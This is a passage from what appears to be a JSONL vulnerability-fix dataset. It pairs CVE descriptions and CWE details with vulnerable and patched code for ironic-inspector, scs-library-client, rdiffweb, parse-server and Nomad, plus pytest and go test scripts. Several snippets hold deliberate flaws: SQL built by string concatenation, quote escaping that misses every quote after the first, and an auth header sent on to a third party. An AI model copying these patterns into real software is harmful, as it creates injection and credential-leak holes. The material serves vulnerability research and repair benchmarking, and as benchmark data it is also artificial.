most_common[0][1]\n    found = [item[0] for item in most_common if highest_score == item[1]]\n    if len(found) > 1:\n        raise utils.Error(_(\n            'Multiple nodes match the same number of attributes '\n            '%(attr)s: %(found)s')\n            % {'attr': attributes, 'found': found}, code=404)\n\n    uuid = found.pop()\n    node_info = NodeInfo(uuid=uuid, ironic=ironic)\n    node_info.acquire_lock()\n\n    try:\n        row = (db.model_query(db.Node.started_at, db.Node.finished_at).\n               filter_by(uuid=uuid).first())\n\n        if not row:\n            raise utils.Error(_(\n                'Could not find node %s in introspection cache, '\n                'probably it\\'s not on introspection now') % uuid, code=404)\n\n        if row.finished_at:\n            raise utils.Error(_(\n                'Introspection for node %(node)s already finished on '\n                '%(finish)s') % {'node': uuid, 'finish': row.finished_at})\n\n        node_info.started_at = row.started_at\n        return node_info\n    except Exception:\n        with excutils.save_and_reraise_exception():\n            node_info.release_lock()"}], "fix_func": [{"id": "fix_py_134_1", "commit": "9d10790", "file_path": "ironic_inspector/node_cache.py", "start_line": 819, "end_line": 891, "snippet": "def find_node(**attributes):\n    \"\"\"Find node in cache.\n\n    Looks up a node based on attributes in a best-match fashion.\n    This function acquires a lock on a node.\n\n    :param attributes: attributes known about this node (like macs, BMC etc)\n                       also ironic client instance may be passed under 'ironic'\n    :returns: structure NodeInfo with attributes ``uuid`` and ``created_at``\n    :raises: Error if node is not found or multiple nodes match the attributes\n    \"\"\"\n    ironic = attributes.pop('ironic', None)\n    # NOTE(dtantsur): sorting is not required, but gives us predictability\n    found = collections.Counter()\n\n    for (name, value) in sorted(attributes.items()):\n        if not value:\n            LOG.debug('Empty value for attribute %s', name)\n            continue\n        if not isinstance(value, list):\n            value = [value]\n\n        LOG.debug('Trying to use %s of value %s for node look up',\n                  name, value)\n        query = db.model_query(db.Attribute.node_uuid)\n        pairs = [(db.Attribute.name == name) &\n                 (db.Attribute.value == v) for v in value]\n        query = query.filter(six.moves.reduce(operator.or_, pairs))\n        found.update(row.node_uuid for row in query.distinct().all())\n\n    if not found:\n        raise utils.NotFoundInCacheError(_(\n            'Could not find a node for attributes %s') % attributes)\n\n    most_common = found.most_common()\n    LOG.debug('The following nodes match the attributes: %(attributes)s, '\n              'scoring: %(most_common)s',\n              {'most_common': ', '.join('%s: %d' % tpl for tpl in most_common),\n               'attributes': ', '.join('%s=%s' % tpl for tpl in\n                                       attributes.items())})\n\n    # NOTE(milan) most_common is sorted, higher scores first\n    highest_score = most_common[0][1]\n    found = [item[0] for item in most_common if highest_score == item[1]]\n    if len(found) > 1:\n        raise utils.Error(_(\n            'Multiple nodes match the same number of attributes '\n            '%(attr)s: %(found)s')\n            % {'attr': attributes, 'found': found}, code=404)\n\n    uuid = found.pop()\n    node_info = NodeInfo(uuid=uuid, ironic=ironic)\n    node_info.acquire_lock()\n\n    try:\n        row = (db.model_query(db.Node.started_at, db.Node.finished_at).\n               filter_by(uuid=uuid).first())\n\n        if not row:\n            raise utils.Error(_(\n                'Could not find node %s in introspection cache, '\n                'probably it\\'s not on introspection now') % uuid, code=404)\n\n        if row.finished_at:\n            raise utils.Error(_(\n                'Introspection for node %(node)s already finished on '\n                '%(finish)s') % {'node': uuid, 'finish': row.finished_at})\n\n        node_info.started_at = row.started_at\n        return node_info\n    except Exception:\n        with excutils.save_and_reraise_exception():\n            node_info.release_lock()"}], "vul_patch": "--- a/ironic_inspector/node_cache.py\n+++ b/ironic_inspector/node_cache.py\n@@ -22,14 +22,11 @@\n \n         LOG.debug('Trying to use %s of value %s for node look up',\n                   name, value)\n-        value_list = []\n-        for v in value:\n-            value_list.append(\"name='%s' AND value='%s'\" % (name, v))\n-        stmt = ('select distinct node_uuid from attributes where ' +\n-                ' OR '.join(value_list))\n-        rows = (db.model_query(db.Attribute.node_uuid).from_statement(\n-            text(stmt)).all())\n-        found.update(row.node_uuid for row in rows)\n+        query = db.model_query(db.Attribute.node_uuid)\n+        pairs = [(db.Attribute.name == name) &\n+                 (db.Attribute.value == v) for v in value]\n+        query = query.filter(six.moves.reduce(operator.or_, pairs))\n+        found.update(row.node_uuid for row in query.distinct().all())\n \n     if not found:\n         raise utils.NotFoundInCacheError(_(\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-23538", "cve_description": "github.com/sylabs/scs-library-client is the Go client for the Singularity Container Services (SCS) Container Library Service. When the scs-library-client is used to pull a container image, with authentication, the HTTP Authorization header sent by the client to the library service may be incorrectly leaked to an S3 backing storage provider. This occurs in a specific flow, where the library service redirects the client to a backing S3 storage server, to perform a multi-part concurrent download. Depending on site configuration, the S3 service may be provided by a third party. An attacker with access to the S3 service may be able to extract user credentials, allowing them to impersonate the user. The vulnerable multi-part concurrent download flow, with redirect to S3, is only used when communicating with a Singularity Enterprise 1.x installation, or third party server implementing this flow. Interaction with Singularity Enterprise 2.x, and Singularity Container Services (cloud.sylabs.io), does not trigger the vulnerable flow. We encourage all users to update. Users who interact with a Singularity Enterprise 1.x installation, using a 3rd party S3 storage service, are advised to revoke and recreate their authentication tokens within Singularity Enterprise. There is no workaround available at this time.", "cwe_info": {"CWE-522": {"name": "Insufficiently Protected Credentials", "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."}}, "repo": "https://github.com/sylabs/scs-library-client", "patch_url": ["https://github.com/sylabs/scs-library-client/commit/68ac4cab5cda0afd8758ff5b5e2e57be6a22fcfa"], "programing_language": "Go", "vul_func": [{"id": "vul_go_71_1", "commit": "54fbe14", "file_path": "client/pull.go", "start_line": 106, "end_line": 115, "snippet": "func (c *Client) httpGetRangeRequest(ctx context.Context, url string, start, end int64) (*http.Response, error) {\n\treq, err := c.newRequestWithURL(ctx, http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Add(\"Range\", fmt.Sprintf(\"bytes=%d-%d\", start, end))\n\n\treturn c.HTTPClient.Do(req)\n}"}], "fix_func": [{"id": "fix_go_71_1", "commit": "68ac4cab5cda0afd8758ff5b5e2e57be6a22fcfa", "file_path": "client/pull.go", "start_line": 106, "end_line": 119, "snippet": "func (c *Client) httpGetRangeRequest(ctx context.Context, url string, start, end int64) (*http.Response, error) {\n\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif v := c.UserAgent; v != \"\" {\n\t\treq.Header.Set(\"User-Agent\", v)\n\t}\n\n\treq.Header.Add(\"Range\", fmt.Sprintf(\"bytes=%d-%d\", start, end))\n\n\treturn c.HTTPClient.Do(req)\n}"}], "vul_patch": "--- a/client/pull.go\n+++ b/client/pull.go\n@@ -1,7 +1,11 @@\n func (c *Client) httpGetRangeRequest(ctx context.Context, url string, start, end int64) (*http.Response, error) {\n-\treq, err := c.newRequestWithURL(ctx, http.MethodGet, url, nil)\n+\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)\n \tif err != nil {\n \t\treturn nil, err\n+\t}\n+\n+\tif v := c.UserAgent; v != \"\" {\n+\t\treq.Header.Set(\"User-Agent\", v)\n \t}\n \n \treq.Header.Add(\"Range\", fmt.Sprintf(\"bytes=%d-%d\", start, end))\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-23538:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/scs-library-client\nrm -rf ./client/pull_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^Test_httpGetRangeRequest_NoAuthHeader$ github.com/sylabs/scs-library-client/client\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-23538:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/scs-library-client\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd client && go test -timeout 30s -v github.com/sylabs/scs-library-client/client\n"}
{"cve_id": "CVE-2022-4724", "cve_description": "Improper Access Control in GitHub repository ikus060/rdiffweb prior to 2.5.5.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/ikus060/rdiffweb", "patch_url": ["https://github.com/ikus060/rdiffweb/commit/c4a19cf67d575c4886171b8efcbf4675d51f3929"], "programing_language": "Python", "vul_func": [{"id": "vul_py_54_1", "commit": "d1aaa96", "file_path": "rdiffweb/core/model/__init__.py", "start_line": 70, "end_line": 139, "snippet": "@event.listens_for(Base.metadata, 'after_create')\ndef db_after_create(target, connection, **kw):\n    \"\"\"\n    Called on database creation to update database schema.\n    \"\"\"\n\n    if getattr(connection, '_transaction', None):\n        connection._transaction.commit()\n\n    # Add repo's Encoding\n    _column_add(connection, RepoObject.__table__.c.Encoding)\n    _column_add(connection, RepoObject.__table__.c.keepdays)\n\n    # Create column for roles using \"isadmin\" column. Keep the\n    # original column in case we need to revert to previous version.\n    if not _column_exists(connection, UserObject.__table__.c.role):\n        _column_add(connection, UserObject.__table__.c.role)\n        UserObject.query.filter(UserObject._is_admin == 1).update({UserObject.role: UserObject.ADMIN_ROLE})\n\n    # Add user's fullname column\n    _column_add(connection, UserObject.__table__.c.fullname)\n\n    # Add user's mfa column\n    _column_add(connection, UserObject.__table__.c.mfa)\n\n    # Re-create session table if Number column is missing\n    if not _column_exists(connection, SessionObject.__table__.c.Number):\n        SessionObject.__table__.drop()\n        SessionObject.__table__.create()\n\n    if getattr(connection, '_transaction', None):\n        connection._transaction.commit()\n\n    # Remove preceding and leading slash (/) generated by previous\n    # versions. Also rename '.' to ''\n    result = RepoObject.query.all()\n    for row in result:\n        if row.repopath.startswith('/') or row.repopath.endswith('/'):\n            row.repopath = row.repopath.strip('/')\n            row.commit()\n        if row.repopath == '.':\n            row.repopath = ''\n            row.commit()\n    # Remove duplicates and nested repositories.\n    result = RepoObject.query.order_by(RepoObject.userid, RepoObject.repopath).all()\n    prev_repo = (None, None)\n    for row in result:\n        if prev_repo[0] == row.userid and (prev_repo[1] == row.repopath or row.repopath.startswith(prev_repo[1] + '/')):\n            row.delete()\n        else:\n            prev_repo = (row.userid, row.repopath)\n\n    # Fix username case insensitive unique\n    if not _index_exists(connection, 'user_username_index'):\n        duplicate_users = (\n            UserObject.query.with_entities(func.lower(UserObject.username))\n            .group_by(func.lower(UserObject.username))\n            .having(func.count(UserObject.username) > 1)\n        ).all()\n        try:\n            user_username_index.create()\n        except IntegrityError:\n            msg = (\n                'Failure to upgrade your database to make Username case insensitive. '\n                'You must downgrade and deleted duplicate Username. '\n                '%s' % '\\n'.join([str(k) for k in duplicate_users]),\n            )\n            logger.error(msg)\n            print(msg, file=sys.stderr)\n            raise SystemExit(12)"}, {"id": "vul_py_54_2", "commit": "d1aaa96", "file_path": "rdiffweb/core/model/_user.py", "start_line": 153, "end_line": 185, "snippet": "    def add_authorizedkey(self, key, comment=None):\n        \"\"\"\n        Add the given key to the user. Adding the key to his `authorized_keys`\n        file if it exists and adding it to database.\n        \"\"\"\n        # Parse and validate ssh key\n        assert key\n        key = authorizedkeys.check_publickey(key)\n\n        # Remove option, replace comments.\n        key = authorizedkeys.AuthorizedKey(\n            options=None, keytype=key.keytype, key=key.key, comment=comment or key.comment\n        )\n\n        # If a filename exists, use it by default.\n        filename = os.path.join(self.user_root, '.ssh', 'authorized_keys')\n        if os.path.isfile(filename):\n            with open(filename, mode=\"r+\", encoding='utf-8') as fh:\n                if authorizedkeys.exists(fh, key):\n                    raise DuplicateSSHKeyError(_(\"SSH key already exists\"))\n                logger.info(\"add key [%s] to [%s] authorized_keys\", key, self.username)\n                authorizedkeys.add(fh, key)\n        else:\n            # Also look in database.\n            logger.info(\"add key [%s] to [%s] database\", key, self.username)\n            try:\n                SshKey(userid=self.userid, fingerprint=key.fingerprint, key=key.getvalue()).add().flush()\n            except IntegrityError:\n                raise DuplicateSSHKeyError(\n                    _(\"Duplicate key. This key already exists or is associated to another user.\")\n                )\n        cherrypy.engine.publish('user_attr_changed', self, {'authorizedkeys': True})\n        cherrypy.engine.publish('authorizedkey_added', self, fingerprint=key.fingerprint, comment=comment)"}], "fix_func": [{"id": "fix_py_54_1", "commit": "c4a19cf", "file_path": "rdiffweb/core/model/__init__.py", "start_line": 71, "end_line": 158, "snippet": "def db_after_create(target, connection, **kw):\n    \"\"\"\n    Called on database creation to update database schema.\n    \"\"\"\n\n    if getattr(connection, '_transaction', None):\n        connection._transaction.commit()\n\n    # Add repo's Encoding\n    _column_add(connection, RepoObject.__table__.c.Encoding)\n    _column_add(connection, RepoObject.__table__.c.keepdays)\n\n    # Create column for roles using \"isadmin\" column. Keep the\n    # original column in case we need to revert to previous version.\n    if not _column_exists(connection, UserObject.__table__.c.role):\n        _column_add(connection, UserObject.__table__.c.role)\n        UserObject.query.filter(UserObject._is_admin == 1).update({UserObject.role: UserObject.ADMIN_ROLE})\n\n    # Add user's fullname column\n    _column_add(connection, UserObject.__table__.c.fullname)\n\n    # Add user's mfa column\n    _column_add(connection, UserObject.__table__.c.mfa)\n\n    # Re-create session table if Number column is missing\n    if not _column_exists(connection, SessionObject.__table__.c.Number):\n        SessionObject.__table__.drop()\n        SessionObject.__table__.create()\n\n    if getattr(connection, '_transaction', None):\n        connection._transaction.commit()\n\n    # Remove preceding and leading slash (/) generated by previous\n    # versions. Also rename '.' to ''\n    result = RepoObject.query.all()\n    for row in result:\n        if row.repopath.startswith('/') or row.repopath.endswith('/'):\n            row.repopath = row.repopath.strip('/')\n            row.commit()\n        if row.repopath == '.':\n            row.repopath = ''\n            row.commit()\n    # Remove duplicates and nested repositories.\n    result = RepoObject.query.order_by(RepoObject.userid, RepoObject.repopath).all()\n    prev_repo = (None, None)\n    for row in result:\n        if prev_repo[0] == row.userid and (prev_repo[1] == row.repopath or row.repopath.startswith(prev_repo[1] + '/')):\n            row.delete()\n        else:\n            prev_repo = (row.userid, row.repopath)\n\n    # Fix username case insensitive unique\n    if not _index_exists(connection, 'user_username_index'):\n        duplicate_users = (\n            UserObject.query.with_entities(func.lower(UserObject.username))\n            .group_by(func.lower(UserObject.username))\n            .having(func.count(UserObject.username) > 1)\n        ).all()\n        try:\n            user_username_index.create()\n        except IntegrityError:\n            msg = (\n                'Failure to upgrade your database to make Username case insensitive. '\n                'You must downgrade and deleted duplicate Username. '\n                '%s' % '\\n'.join([str(k) for k in duplicate_users]),\n            )\n            logger.error(msg)\n            print(msg, file=sys.stderr)\n            raise SystemExit(12)\n\n    # Fix SSH Key uniqueness - since 2.5.4\n    if not _index_exists(connection, 'sshkey_fingerprint_index'):\n        duplicate_sshkeys = (\n            SshKey.query.with_entities(SshKey.fingerprint)\n            .group_by(SshKey.fingerprint)\n            .having(func.count(SshKey.fingerprint) > 1)\n        ).all()\n        try:\n            sshkey_fingerprint_index.create()\n        except IntegrityError:\n            msg = (\n                'Failure to upgrade your database to make SSH Keys unique. '\n                'You must downgrade and deleted duplicate SSH Keys. '\n                '%s' % '\\n'.join([str(k) for k in duplicate_sshkeys]),\n            )\n            logger.error(msg)\n            print(msg, file=sys.stderr)\n            raise SystemExit(12)"}, {"id": "fix_py_54_2", "commit": "c4a19cf", "file_path": "rdiffweb/core/model/_sshkey.py", "start_line": 24, "end_line": 33, "snippet": "class SshKey(Base):\n    __tablename__ = 'sshkeys'\n    __table_args__ = {'sqlite_autoincrement': True}\n    fingerprint = Column('Fingerprint', Text)\n    key = Column('Key', Text, unique=True, primary_key=True)\n    userid = Column('UserID', Integer, nullable=False)\n\n\n# Make finger print unique\nsshkey_fingerprint_index = Index('sshkey_fingerprint_index', SshKey.fingerprint, unique=True)"}, {"id": "fix_py_54_3", "commit": "c4a19cf", "file_path": "rdiffweb/core/model/_user.py", "start_line": 153, "end_line": 186, "snippet": "    def add_authorizedkey(self, key, comment=None):\n        \"\"\"\n        Add the given key to the user. Adding the key to his `authorized_keys`\n        file if it exists and adding it to database.\n        \"\"\"\n        # Parse and validate ssh key\n        assert key\n        key = authorizedkeys.check_publickey(key)\n\n        # Remove option & Remove comment for SQL storage\n        key = authorizedkeys.AuthorizedKey(\n            options=None, keytype=key.keytype, key=key.key, comment=comment or key.comment\n        )\n\n        # If a filename exists, use it by default.\n        filename = os.path.join(self.user_root, '.ssh', 'authorized_keys')\n        if os.path.isfile(filename):\n            with open(filename, mode=\"r+\", encoding='utf-8') as fh:\n                if authorizedkeys.exists(fh, key):\n                    raise DuplicateSSHKeyError(_(\"SSH key already exists\"))\n                logger.info(\"add key [%s] to [%s] authorized_keys\", key, self.username)\n                authorizedkeys.add(fh, key)\n        else:\n            # Also look in database.\n            logger.info(\"add key [%s] to [%s] database\", key, self.username)\n            try:\n                sshkey = SshKey(userid=self.userid, fingerprint=key.fingerprint, key=key.getvalue())\n                sshkey.add().flush()\n            except IntegrityError:\n                raise DuplicateSSHKeyError(\n                    _(\"Duplicate key. This key already exists or is associated to another user.\")\n                )\n        cherrypy.engine.publish('user_attr_changed', self, {'authorizedkeys': True})\n        cherrypy.engine.publish('authorizedkey_added', self, fingerprint=key.fingerprint, comment=comment)"}], "vul_patch": "--- a/rdiffweb/core/model/__init__.py\n+++ b/rdiffweb/core/model/__init__.py\n@@ -1,4 +1,3 @@\n-@event.listens_for(Base.metadata, 'after_create')\n def db_after_create(target, connection, **kw):\n     \"\"\"\n     Called on database creation to update database schema.\n@@ -68,3 +67,22 @@\n             logger.error(msg)\n             print(msg, file=sys.stderr)\n             raise SystemExit(12)\n+\n+    # Fix SSH Key uniqueness - since 2.5.4\n+    if not _index_exists(connection, 'sshkey_fingerprint_index'):\n+        duplicate_sshkeys = (\n+            SshKey.query.with_entities(SshKey.fingerprint)\n+            .group_by(SshKey.fingerprint)\n+            .having(func.count(SshKey.fingerprint) > 1)\n+        ).all()\n+        try:\n+            sshkey_fingerprint_index.create()\n+        except IntegrityError:\n+            msg = (\n+                'Failure to upgrade your database to make SSH Keys unique. '\n+                'You must downgrade and deleted duplicate SSH Keys. '\n+                '%s' % '\\n'.join([str(k) for k in duplicate_sshkeys]),\n+            )\n+            logger.error(msg)\n+            print(msg, file=sys.stderr)\n+            raise SystemExit(12)\n\n--- a/rdiffweb/core/model/_user.py\n+++ b/rdiffweb/core/model/_sshkey.py\n@@ -1,33 +1,10 @@\n-    def add_authorizedkey(self, key, comment=None):\n-        \"\"\"\n-        Add the given key to the user. Adding the key to his `authorized_keys`\n-        file if it exists and adding it to database.\n-        \"\"\"\n-        # Parse and validate ssh key\n-        assert key\n-        key = authorizedkeys.check_publickey(key)\n+class SshKey(Base):\n+    __tablename__ = 'sshkeys'\n+    __table_args__ = {'sqlite_autoincrement': True}\n+    fingerprint = Column('Fingerprint', Text)\n+    key = Column('Key', Text, unique=True, primary_key=True)\n+    userid = Column('UserID', Integer, nullable=False)\n \n-        # Remove option, replace comments.\n-        key = authorizedkeys.AuthorizedKey(\n-            options=None, keytype=key.keytype, key=key.key, comment=comment or key.comment\n-        )\n \n-        # If a filename exists, use it by default.\n-        filename = os.path.join(self.user_root, '.ssh', 'authorized_keys')\n-        if os.path.isfile(filename):\n-            with open(filename, mode=\"r+\", encoding='utf-8') as fh:\n-                if authorizedkeys.exists(fh, key):\n-                    raise DuplicateSSHKeyError(_(\"SSH key already exists\"))\n-                logger.info(\"add key [%s] to [%s] authorized_keys\", key, self.username)\n-                authorizedkeys.add(fh, key)\n-        else:\n-            # Also look in database.\n-            logger.info(\"add key [%s] to [%s] database\", key, self.username)\n-            try:\n-                SshKey(userid=self.userid, fingerprint=key.fingerprint, key=key.getvalue()).add().flush()\n-            except IntegrityError:\n-                raise DuplicateSSHKeyError(\n-                    _(\"Duplicate key. This key already exists or is associated to another user.\")\n-                )\n-        cherrypy.engine.publish('user_attr_changed', self, {'authorizedkeys': True})\n-        cherrypy.engine.publish('authorizedkey_added', self, fingerprint=key.fingerprint, comment=comment)\n+# Make finger print unique\n+sshkey_fingerprint_index = Index('sshkey_fingerprint_index', SshKey.fingerprint, unique=True)\n\n--- /dev/null\n+++ b/rdiffweb/core/model/_sshkey.py\n@@ -0,0 +1,34 @@\n+    def add_authorizedkey(self, key, comment=None):\n+        \"\"\"\n+        Add the given key to the user. Adding the key to his `authorized_keys`\n+        file if it exists and adding it to database.\n+        \"\"\"\n+        # Parse and validate ssh key\n+        assert key\n+        key = authorizedkeys.check_publickey(key)\n+\n+        # Remove option & Remove comment for SQL storage\n+        key = authorizedkeys.AuthorizedKey(\n+            options=None, keytype=key.keytype, key=key.key, comment=comment or key.comment\n+        )\n+\n+        # If a filename exists, use it by default.\n+        filename = os.path.join(self.user_root, '.ssh', 'authorized_keys')\n+        if os.path.isfile(filename):\n+            with open(filename, mode=\"r+\", encoding='utf-8') as fh:\n+                if authorizedkeys.exists(fh, key):\n+                    raise DuplicateSSHKeyError(_(\"SSH key already exists\"))\n+                logger.info(\"add key [%s] to [%s] authorized_keys\", key, self.username)\n+                authorizedkeys.add(fh, key)\n+        else:\n+            # Also look in database.\n+            logger.info(\"add key [%s] to [%s] database\", key, self.username)\n+            try:\n+                sshkey = SshKey(userid=self.userid, fingerprint=key.fingerprint, key=key.getvalue())\n+                sshkey.add().flush()\n+            except IntegrityError:\n+                raise DuplicateSSHKeyError(\n+                    _(\"Duplicate key. This key already exists or is associated to another user.\")\n+                )\n+        cherrypy.engine.publish('user_attr_changed', self, {'authorizedkeys': True})\n+        cherrypy.engine.publish('authorizedkey_added', self, fingerprint=key.fingerprint, comment=comment)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-4724:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/rdiffweb\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-4724/bin/python -m pytest rdiffweb/core/model/tests/test_user.py -k \"test_add_authorizedkey_duplicate\" -p no:warning --disable-warnings --import-mode=importlib\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-4724:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/rdiffweb\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-4724/bin/python -m pytest rdiffweb/core/model/tests/test_user.py  -p no:warning --disable-warnings --import-mode=importlib\n"}
{"cve_id": "CVE-2024-27298", "cve_description": "parse-server is a Parse Server for Node.js / Express. This vulnerability allows SQL injection when Parse Server is configured to use the PostgreSQL database. The vulnerability has been fixed in 6.5.0 and 7.0.0-alpha.20.\n", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/parse-community/parse-server", "patch_url": ["https://github.com/parse-community/parse-server/commit/cbefe770a7260b54748a058b8a7389937dc35833", "https://github.com/parse-community/parse-server/commit/a6e654943536932904a69b51e513507fcf90a504"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_96_1", "commit": "9c85e63", "file_path": "src/Adapters/Storage/Postgres/PostgresStorageAdapter.js", "start_line": "2632", "end_line": "2661", "snippet": "function literalizeRegexPart(s: string) {\n  const matcher1 = /\\\\Q((?!\\\\E).*)\\\\E$/;\n  const result1: any = s.match(matcher1);\n  if (result1 && result1.length > 1 && result1.index > -1) {\n    // process regex that has a beginning and an end specified for the literal text\n    const prefix = s.substring(0, result1.index);\n    const remaining = result1[1];\n\n    return literalizeRegexPart(prefix) + createLiteralRegex(remaining);\n  }\n\n  // process regex that has a beginning specified for the literal text\n  const matcher2 = /\\\\Q((?!\\\\E).*)$/;\n  const result2: any = s.match(matcher2);\n  if (result2 && result2.length > 1 && result2.index > -1) {\n    const prefix = s.substring(0, result2.index);\n    const remaining = result2[1];\n\n    return literalizeRegexPart(prefix) + createLiteralRegex(remaining);\n  }\n\n  // remove all instances of \\Q and \\E from the remaining text & escape single quotes\n  return s\n    .replace(/([^\\\\])(\\\\E)/, '$1')\n    .replace(/([^\\\\])(\\\\Q)/, '$1')\n    .replace(/^\\\\E/, '')\n    .replace(/^\\\\Q/, '')\n    .replace(/([^'])'/, `$1''`)\n    .replace(/^'([^'])/, `''$1`);\n}"}], "fix_func": [{"id": "fix_js_96_1", "commit": "cbefe77", "file_path": "src/Adapters/Storage/Postgres/PostgresStorageAdapter.js", "start_line": "2632", "end_line": "2661", "snippet": "function literalizeRegexPart(s: string) {\n  const matcher1 = /\\\\Q((?!\\\\E).*)\\\\E$/;\n  const result1: any = s.match(matcher1);\n  if (result1 && result1.length > 1 && result1.index > -1) {\n    // process regex that has a beginning and an end specified for the literal text\n    const prefix = s.substring(0, result1.index);\n    const remaining = result1[1];\n\n    return literalizeRegexPart(prefix) + createLiteralRegex(remaining);\n  }\n\n  // process regex that has a beginning specified for the literal text\n  const matcher2 = /\\\\Q((?!\\\\E).*)$/;\n  const result2: any = s.match(matcher2);\n  if (result2 && result2.length > 1 && result2.index > -1) {\n    const prefix = s.substring(0, result2.index);\n    const remaining = result2[1];\n\n    return literalizeRegexPart(prefix) + createLiteralRegex(remaining);\n  }\n\n  // remove all instances of \\Q and \\E from the remaining text & escape single quotes\n  return s\n    .replace(/([^\\\\])(\\\\E)/, '$1')\n    .replace(/([^\\\\])(\\\\Q)/, '$1')\n    .replace(/^\\\\E/, '')\n    .replace(/^\\\\Q/, '')\n    .replace(/([^'])'/g, `$1''`)\n    .replace(/^'([^'])/, `''$1`);\n}"}], "vul_patch": "--- a/src/Adapters/Storage/Postgres/PostgresStorageAdapter.js\n+++ b/src/Adapters/Storage/Postgres/PostgresStorageAdapter.js\n@@ -25,6 +25,6 @@\n     .replace(/([^\\\\])(\\\\Q)/, '$1')\n     .replace(/^\\\\E/, '')\n     .replace(/^\\\\Q/, '')\n-    .replace(/([^'])'/, `$1''`)\n+    .replace(/([^'])'/g, `$1''`)\n     .replace(/^'([^'])/, `''$1`);\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-1782", "cve_description": "HashiCorp Nomad and Nomad Enterprise versions 1.5.0 up to 1.5.2 allow unauthenticated users to bypass intended ACL authorizations for clusters where mTLS is not enabled. This issue is fixed in version 1.5.3.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/hashicorp/nomad", "patch_url": ["https://github.com/hashicorp/nomad/commit/3e93b707d282b04fa0b24a3ca6cfafd4aeee3343"], "programing_language": "Go", "vul_func": [{"id": "vul_go_153_1", "commit": "d014fe6", "file_path": "nomad/acl.go", "start_line": 30, "end_line": 132, "snippet": "func (s *Server) Authenticate(ctx *RPCContext, args structs.RequestWithIdentity) error {\n\n\t// get the user ACLToken or anonymous token\n\tsecretID := args.GetAuthToken()\n\taclToken, err := s.ResolveSecretToken(secretID)\n\n\tswitch {\n\tcase err == nil:\n\t\t// If ACLs are disabled or we have a non-anonymous token, return that.\n\t\tif aclToken == nil || aclToken != structs.AnonymousACLToken {\n\t\t\targs.SetIdentity(&structs.AuthenticatedIdentity{ACLToken: aclToken})\n\t\t\treturn nil\n\t\t}\n\n\tcase errors.Is(err, structs.ErrTokenExpired):\n\t\treturn err\n\n\tcase errors.Is(err, structs.ErrTokenInvalid):\n\t\t// if it's not a UUID it might be an identity claim\n\t\tclaims, err := s.VerifyClaim(secretID)\n\t\tif err != nil {\n\t\t\t// we already know the token wasn't valid for an ACL in the state\n\t\t\t// store, so if we get an error at this point we have an invalid\n\t\t\t// token and there are no other options but to bail out\n\t\t\treturn err\n\t\t}\n\n\t\targs.SetIdentity(&structs.AuthenticatedIdentity{Claims: claims})\n\t\treturn nil\n\n\tcase errors.Is(err, structs.ErrTokenNotFound):\n\t\t// Check if the secret ID is the leader's secret ID, in which case treat\n\t\t// it as a management token.\n\t\tleaderAcl := s.getLeaderAcl()\n\t\tif leaderAcl != \"\" && secretID == leaderAcl {\n\t\t\taclToken = structs.LeaderACLToken\n\t\t\tbreak\n\t\t} else {\n\t\t\t// Otherwise, see if the secret ID belongs to a node. We should\n\t\t\t// reach this point only on first connection.\n\t\t\tnode, err := s.State().NodeBySecretID(nil, secretID)\n\t\t\tif err != nil {\n\t\t\t\t// this is a go-memdb error; shouldn't happen\n\t\t\t\treturn fmt.Errorf(\"could not resolve node secret: %w\", err)\n\t\t\t}\n\t\t\tif node != nil {\n\t\t\t\targs.SetIdentity(&structs.AuthenticatedIdentity{ClientID: node.ID})\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\n\t\t// we were passed a bogus token so we'll return an error, but we'll also\n\t\t// want to capture the IP for metrics\n\t\tremoteIP, err := s.remoteIPFromRPCContext(ctx)\n\t\tif err != nil {\n\t\t\ts.logger.Error(\"could not determine remote address\", \"error\", err)\n\t\t}\n\t\targs.SetIdentity(&structs.AuthenticatedIdentity{RemoteIP: remoteIP})\n\t\treturn structs.ErrPermissionDenied\n\n\tdefault: // any other error\n\t\treturn fmt.Errorf(\"could not resolve user: %w\", err)\n\n\t}\n\n\t// If there's no context we're in a \"static\" handler which only happens for\n\t// cases where the leader is making RPCs internally (volumewatcher and\n\t// deploymentwatcher)\n\tif ctx == nil {\n\t\targs.SetIdentity(&structs.AuthenticatedIdentity{ACLToken: aclToken})\n\t\treturn nil\n\t}\n\n\t// At this point we either have an anonymous token or an invalid one.\n\n\t// Previously-connected clients will have a NodeID set on the context, which\n\t// is available for all yamux streams over the same yamux session (and TCP\n\t// connection). This will be a large portion of the RPCs sent, but we can't\n\t// 